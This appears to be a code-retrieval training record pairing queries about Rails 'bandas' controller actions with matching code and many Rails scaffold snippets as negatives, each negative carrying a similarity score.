format.xml { render :xml => @event}\n end\n end", "def show\n @bogey = Bogey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bogey }\n end\n end", "def show\n @bairro = Bairro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bairro }\n end\n end", "def show\n @bout = Bout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bout }\n end\n end", "def show\n @abonne = Abonne.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @abonne }\n end\n end", "def show\r\n SignalStrength.switch_data(params[:connection], \"daily\")\r\n #@signal_strengths = SignalStrength.find(params[:id])\r\n #@signal_strengths = SignalStrength.find(:all, :origin=>'94531', :within=>10)\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @signal_strengths.to_xml(:dasherize => false) }\r\n end\r\n end", "def show\n @concert = Concert.find(params[:id])\n @band = Band.find(params[:band_id])\n end", "def index\n @bands = @current_musician.bands\n end", "def show\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @bid.to_xml }\n end\n end", "def show\n @lb202556 = Lb202556.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lb202556 }\n end\n end", "def index\n @boms = Bom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @boms }\n end\n end", "def get_banks\n HTTParty.get(BASE_URI + 'bank?country=ghana',\n headers: HEADERS).parsed_response\n end", "def show\n @brand = Brand.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @brand }\n end\n end", "def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { \n @brands = Brand.all\n render xml: @brands \n }\n end\n end", "def show\n @liga_blaz_blue = LigaBlazBlue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @liga_blaz_blue }\n end\n end", "def show\n @bedding = Bedding.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bedding }\n end\n end", "def show\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @broad }\n end\n end", "def show\n @bedmaster = Bedmaster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bedmaster }\n end\n end", "def show\n @bid = @swarm_request.bids.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bid }\n end\n end", "def show\n @bonificacion = Bonificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bonificacion }\n end\n end", "def show\n @boss = Boss.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @boss }\n end\n end", "def show\n @analisis = Analisis.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @analisis }\n end\n end", "def show\n @subway = Subway.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subway }\n end\n end", "def index\n @bandtogethers = Bandtogether.all\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bid }\n end\n end", "def show\n @liga_blaz_blue_general = LigaBlazBlueGeneral.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @liga_blaz_blue_general }\n end\n end", "def show\n @stock_gabarra = StockGabarra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stock_gabarra }\n end\n end", "def show\n @news_blast = NewsBlast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_blast }\n end\n end", "def show\n @site_banner = SiteBanner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site_banner }\n end\n end", "def show\n @rawness = Rawness.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rawness }\n end\n end", "def show\n @ganglia_graph = GangliaGraph.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end", "def show\n #@bg = Bg.find(params[:id])\n \n @number = params[:number]\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bg }\n end\n end", "def show\n @helibasis = Helibase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @helibasis }\n end\n end", "def show\n @network_detail = Subnet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @network_detail }\n end\n end", "def show\n @asambleista = Asambleista.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asambleista }\n end\n end", "def show\n @aisle = Aisle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aisle }\n end\n end", "def new\n @band = Band.new\n\trespond_with @band\n end", "def show\n @ambit = Ambit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ambit }\n end\n end", "def set_band_information\n @band_information = BandInformation.find(params[:id])\n end", "def show\n @bet = Bet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bet }\n end\n end", "def show\n @boat_engine_fuel_type = BoatEngineFuelType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @boat_engine_fuel_type }\n end\n end", "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end", "def show\n @bday = Bday.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bday }\n end\n end", "def show\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @boat }\n end\n end", "def show\n @needle = Needle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @needle }\n end\n end", "def show\n\t\t@bank = Bank.find(params[:id])\n \trespond_to do |format|\t\t\n \t\t format.html \n \t\t\tformat.xml { render :xml => @banks }\t\t#Render to XML File\n \tend\n\tend", "def index\n @bets = Bet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bets }\n end\n end", "def set_band\n @band = Band.find(params[:id])\n end", "def set_band\n @band = Band.find(params[:id])\n end", "def set_band\n @band = Band.find(params[:id])\n end", "def show\n @bixo = Bixo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bixo }\n end\n end", "def index\n @bowls = Bowl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bowls }\n end\n end", "def show\n @sa = Sa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sa }\n end\n end", "def show\n respond_to do |format|\n format.xml { render :xml => @genbank_file }\n format.json { render :json => @genbank_file }\n end\n end", "def show\n @xml_sample = XmlSample.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @xml_sample }\n end\n end", "def show\n @title = \"Show Networks\"\n @network = Network.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @network }\n end\n end", "def show\n @station = Station.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @station }\n end\n end", "def show\n\t@bands = Band.all\n\t@artists = Artist.all\n end", "def show\r\n Connection.switch_data(params[:connection], \"daily\")\r\n @connections = Connection.find(params[:id])\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @connections.to_xml(:root => 'records', :children => 'record', :dasherize => false) }\r\n end\r\n end", "def show\n @brigade = Brigade.find(params[:id])\n @title = @brigade.name\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @brigade }\n end\n end", "def show\n @network = Network.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @network } \n end\n end", "def bands_available\n\t\tdata = query(\"AT+WMBS=?\")\n\t\t\n\t\t# wmbs data is returned as something like:\n\t\t# +WMBS: (0,1,2,3,4,5,6),(0-1)\n\t\t# +WMBS: (0,3,4),(0-1)\n\t\t# extract the numbers with a regex, and\n\t\t# iterate each to resolve it to a more\n\t\t# readable description\n\t\tif m = data.match(/^\\+WMBS: \\(([\\d,]+)\\),/)\n\t\t\treturn m.captures[0].split(\",\").collect do |index|\n\t\t\t\tBands[index.to_i]\n\t\t\tend\n\t\t\n\t\telse\n\t\t\t# Todo: Recover from this exception\n\t\t\terr = \"Not WMBS data: #{data.inspect}\"\n\t\t\traise RuntimeError.new(err)\n\t\tend\n\tend", "def show\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bloom }\n end\n end", "def show\n @traffic = Traffic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @traffic }\n end\n end", "def new\n @timeband = Timeband.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timeband }\n end\n end", "def show\n @bom = Bom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bom }\n end\n end", "def show\n @musica = Musica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @musica }\n end\n end", "def show\n @irb = Irb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @irb }\n end\n end", "def index\n @ganglia_graphs = GangliaGraph.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ganglia_graphs }\n end\n end", "def show\n @probe = Probe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @probe }\n end\n end", "def show\n @myers_briggs_type = MyersBriggsType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @myers_briggs_type }\n end\n end", "def show\n @bingo = Bingo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bingo }\n end\n end" ]
[ "0.75296164", "0.67585856", "0.6680852", "0.66213346", "0.65520906", "0.65014565", "0.6483828", "0.6483444", "0.6417882", "0.6394058", "0.6386666", "0.6334725", "0.6303772", "0.6303314", "0.6294853", "0.6262899", "0.62379366", "0.62169147", "0.62034255", "0.61734456", "0.61718816", "0.6145623", "0.6139037", "0.609054", "0.6089606", "0.6032474", "0.6005936", "0.5940714", "0.5937187", "0.5925908", "0.5923019", "0.5911507", "0.5908145", "0.5898502", "0.5894676", "0.588747", "0.58772326", "0.58735746", "0.58378065", "0.5833851", "0.58302397", "0.58248025", "0.58228457", "0.58040065", "0.5787351", "0.57595485", "0.5750877", "0.57396764", "0.5737934", "0.57354784", "0.5732294", "0.5730087", "0.5724518", "0.57196724", "0.57140094", "0.5713081", "0.57124245", "0.57090527", "0.5707138", "0.5702522", "0.5701149", "0.5697494", "0.5693594", "0.5693483", "0.56842864", "0.56836945", "0.56735843", "0.5671776", "0.56613326", "0.56611645", "0.5658745", "0.56529284", "0.564962", "0.5648533", "0.5647184", "0.5646443", "0.5646443", "0.5646443", "0.5643955", "0.56286156", "0.5623795", "0.56190497", "0.5618696", "0.5614769", "0.5613165", "0.56106", "0.56095076", "0.56084615", "0.56082696", "0.5607818", "0.5603971", "0.55972815", "0.55950934", "0.55896723", "0.5589577", "0.5588454", "0.5588436", "0.5582607", "0.55806214", "0.5577299" ]
0.6512695
5
GET /bandas/new GET /bandas/new.xml
def new @banda = Banda.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @banda } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @band = Band.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @band }\n end\n end", "def new\n @bands = Band.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end", "def new\n @band_membership = BandMembership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @band_membership }\n end\n end", "def new\n @timeband = Timeband.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timeband }\n end\n end", "def new\n @band = Band.new\n\trespond_with @band\n end", "def new\n @taxband = Taxband.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @taxband }\n end\n end", "def new\n @banda = Banda.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @banda }\n end\n end", "def new\n @bap = Bap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bap }\n end\n end", "def new\n @link = Link.new\n banda = Banda.find_by_atalho(params[:banda])\n @album = Album.find_by_atalho_and_banda_id(params[:album], banda)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @bdig = Bdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bdig }\n end\n end", "def show\n @band = Band.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @band }\n end\n end", "def new\n @bg = Bg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bg }\n end\n end", "def new\n @abonne = Abonne.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @abonne }\n end\n end", "def new\n @bairro = Bairro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bairro }\n end\n end", "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end", "def new\n @brand = Brand.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @brand }\n end\n end", "def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bid }\n end\n end", "def new\n @bedmaster = Bedmaster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bedmaster }\n end\n end", "def new\n #@branch = Branch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @branch }\n end\n end", "def new\n @asambleista = Asambleista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asambleista }\n end\n end", "def new\n @bday = Bday.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bday }\n end\n end", "def new\n @bout = Bout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bout }\n end\n end", "def new\n @boss = Boss.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @boss }\n end\n end", "def new\n @station = Station.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @station }\n end\n end", "def new\n @bairro_micro = BairroMicro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bairro_micro }\n end\n end", "def new\n @aisle = Aisle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aisle }\n end\n end", "def new\n @bedding = Bedding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bedding }\n end\n end", "def new\n @subway = Subway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subway }\n end\n end", "def new\n @bis_code = BisCode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bis_code }\n end\n end", "def new\n @lb202556 = Lb202556.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lb202556 }\n end\n end", "def new\n @rawness = Rawness.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rawness }\n end\n end", "def new\n @needle = Needle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @needle }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end", "def new\n @model = Model.new\n @brands = Brand.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @model }\n end\n end", "def new\n @bare_start = BareStart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bare_start }\n end\n end", "def new\n @bonificacion = Bonificacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bonificacion }\n end\n end", "def new\n @segment = Segment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @segment }\n end\n end", "def new\n @sofa = Sofa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sofa }\n end\n end", "def new\n @browsenodeid = Browsenodeid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @browsenodeid }\n end\n end", "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end", "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end", "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end", "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end", "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end", "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end", "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end", "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end", "def new\n @brother = Brother.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @brother }\n end\n end", "def new\n @bogey = Bogey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bogey }\n end\n end", "def new\n @probe = Probe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @probe }\n end\n end", "def new\n @fan = Fan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fan }\n end\n end", "def new\n @lab_rack = LabRack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lab_rack }\n end\n end", "def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @borrow }\n end\n end", "def new\n @uri_type = UriType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uri_type }\n end\n end", "def new\n @bp_request = BpRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bp_request }\n end\n end", "def new\n @ambit = Ambit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ambit }\n end\n end", "def new\n @atest = Atest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atest }\n end\n end", "def new\n @noami = Noami.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noami }\n end\n end", "def new\n @rink = Rink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rink }\n end\n end", "def new\n @stanza = Stanza.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stanza }\n end\n end", "def new\n @zebra = Zebra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @zebra }\n end\n end", "def new\n @broad = Broad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @broad }\n end\n end", "def new\n @stock_gabarra = StockGabarra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stock_gabarra }\n end\n end", "def new\n @aanwezig = Aanwezig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aanwezig }\n end\n end", "def new\n @bowl = Bowl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bowl }\n end\n end", "def new\n @backup = Backup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @backup }\n end\n end", "def new\n @solution.brands << website.brand\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @solution }\n end\n end", "def new\n @polling_station = PollingStation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polling_station }\n end\n end", "def create\n @band = Band.new(band_params)\n\n respond_to do |format|\n if @band.save\n format.html { redirect_to @band, notice: 'Band was successfully created.' }\n format.json { render :show, status: :created, location: @band }\n else\n format.html { render :new }\n format.json { render json: @band.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @bingo = Bingo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bingo }\n end\n end", "def new\n @basin = Basin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @basin }\n end\n end", "def create\n @banda = Banda.new(params[:banda])\n\n respond_to do |format|\n if @banda.save\n format.html { redirect_to @banda, notice: 'Banda was successfully created.' }\n format.json { render json: @banda, status: :created, location: @banda }\n else\n format.html { render action: \"new\" }\n format.json { render json: @banda.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @title = \"New Brigade\"\n @brigade = Brigade.new\n\n respond_to do |format|\n format.html { render :layout => \"alternative\" }\n format.xml { render :xml => @brigade }\n end\n end", "def new\n @banana = Banana.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @banana }\n end\n end", "def new\n @pais = Pais.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pais }\n end\n end", "def new\n @way = Way.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @way }\n end\n end", "def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @neighborhood }\n end\n end", "def new\n @site_banner = SiteBanner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_banner }\n end\n end", "def new\n @liga_blaz_blue = LigaBlazBlue.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @liga_blaz_blue }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @brand }\n end\n end", "def new\n @bid = @swarm_request.bids.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bid }\n end\n end", "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "def new\n @site_link = SiteLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_link }\n end\n end", "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def new\n @server_rack = ServerRack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server_rack }\n end\n end", "def new\n @whitelist = Whitelist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @whitelist }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @helibasis = Helibase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @helibasis }\n end\n end", "def new\n @network_detail = Subnet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @network_detail }\n end\n end", "def new\n @bloom = Bloom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bloom }\n end\n end", "def new\n @island = Island.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @island }\n end\n end", "def new\n @blacklisted_site = BlacklistedSite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @blacklisted_site }\n end\n end", "def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def new\n @bunker = Bunker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bunker }\n end\n end", "def new\n @archive = Archive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @archive }\n end\n end", "def new\n @xml_sample = XmlSample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xml_sample }\n end\n end", "def new\n @boot = Boot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @boot }\n end\n end", "def new\n @plantilla = Plantilla.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plantilla }\n end\n end", "def new\n @bixo = Bixo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bixo }\n end\n end" ]
[ "0.7781639", "0.7585077", "0.70602906", "0.7034137", "0.69205695", "0.6918481", "0.6870744", "0.68522644", "0.6804117", "0.67506343", "0.66630876", "0.6642369", "0.6631867", "0.656169", "0.6539684", "0.6515332", "0.65061045", "0.65051293", "0.6497788", "0.64974594", "0.64897364", "0.6457548", "0.6452307", "0.645114", "0.64499956", "0.6446065", "0.6443274", "0.64378464", "0.64349556", "0.64341784", "0.6433314", "0.6426249", "0.64043885", "0.6402416", "0.6376969", "0.63755924", "0.63741267", "0.6373964", "0.6372959", "0.6365987", "0.63647175", "0.63647175", "0.63647175", "0.63647175", "0.63647175", "0.63647175", "0.63647175", "0.63647175", "0.63613194", "0.6358853", "0.6357453", "0.63561773", "0.6350716", "0.6342926", "0.63299644", "0.6329832", "0.6327768", "0.6325552", "0.6321086", "0.63205224", "0.6313719", "0.6308998", "0.6308241", "0.6307463", "0.6305157", "0.6304656", "0.63041383", "0.6297389", "0.629566", "0.62954885", "0.62925136", "0.6278232", "0.6277479", "0.6272205", "0.62539387", "0.6233851", "0.6226868", "0.6224706", "0.6216624", "0.62137586", "0.6212954", "0.62121034", "0.62087476", "0.61967385", "0.61960584", "0.6192674", "0.61904323", "0.6189161", "0.61887306", "0.6188061", "0.6177424", "0.61732876", "0.61686856", "0.61641115", "0.6163039", "0.6161747", "0.6151458", "0.6150377", "0.6148828", "0.6148807" ]
0.7614722
1
POST /bandas POST /bandas.xml
def create @banda = Banda.new(params[:banda]) @banda.user_id = session[:user] respond_to do |format| if @banda.save flash[:notice] = "A nova banda foi adicionada." format.html { redirect_to("/#{@banda.atalho}/novo_album", :banda=>@banda) } else format.html { render :action => "new" } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @band = Band.new(band_params)\n\n respond_to do |format|\n if @band.save\n format.html { redirect_to @band, notice: 'Band was successfully created.' }\n format.json { render :show, status: :created, location: @band }\n else\n format.html { render :new }\n format.json { render json: @band.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @banda = Banda.new(params[:banda])\n\n respond_to do |format|\n if @banda.save\n format.html { redirect_to @banda, notice: 'Banda was successfully created.' }\n format.json { render json: @banda, status: :created, location: @banda }\n else\n format.html { render action: \"new\" }\n format.json { render json: @banda.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @taxband = Taxband.new(params[:taxband])\n\n respond_to do |format|\n if @taxband.save\n format.html { redirect_to(@taxband, :notice => 'Taxband was successfully created.') }\n format.xml { render :xml => @taxband, :status => :created, :location => @taxband }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @taxband.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @timeband = Timeband.new(params[:timeband])\n\n respond_to do |format|\n if @timeband.save\n flash[:notice] = 'Timeband was successfully created.'\n format.html { redirect_to(@timeband) }\n format.xml { render :xml => @timeband, :status => :created, :location => @timeband }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @timeband.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @band_information = BandInformation.new(band_information_params)\n\n respond_to do |format|\n if @band_information.save\n format.html { redirect_to @band_information, notice: 'Band information was successfully created.' }\n format.json { render :show, status: :created, location: @band_information }\n else\n format.html { render :new }\n format.json { render json: @band_information.errors, status: :unprocessable_entity }\n end\n end\n end", "def band_params\n params.require(:band).permit(:name)\n end", "def create\n @bandname = Bandname.new(bandname_params)\n\n respond_to do |format|\n if @bandname.save\n format.html { redirect_to @bandname, notice: 'Bandname was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bandname }\n else\n format.html { render action: 'new' }\n format.json { render json: @bandname.errors, status: :unprocessable_entity }\n end\n end\n end", "def band_params\n params.require(:band).permit(:bandname, :name, :bio, :website, :email, :password)\n end", "def create\n @band = Band.new(params[:band])\n @same_fb_id = Band.find_by_fb_id(@band.fb_id)\n if @same_fb_id == nil\n @band.save\n end\n respond_with @band\n end", "def set_banda\n @banda = Banda.find(params[:id])\n end", "def new\n @band = Band.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @band }\n end\n end", "def band_params\n params.require(:band).permit(:id, :name, :bio)\n end", "def band_params\n params.require(:band).permit(:name, :city, :email, :website)\n end", "def banda_params\n params.require(:banda).permit(:nome, :ano, :genero, :pais, :image)\n end", "def new\n @bands = Band.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end", "def create\n @band_membership = BandMembership.new(params[:band_membership])\n\n respond_to do |format|\n if @band_membership.save\n flash[:notice] = 'BandMembership was successfully created.'\n format.html { redirect_to(@band_membership) }\n format.xml { render :xml => @band_membership, :status => :created, :location => @band_membership }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @band_membership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def bandit_params\n params.require(:bandit).permit(:name)\n end", "def new\n @banda = Banda.new\n\n respond_to 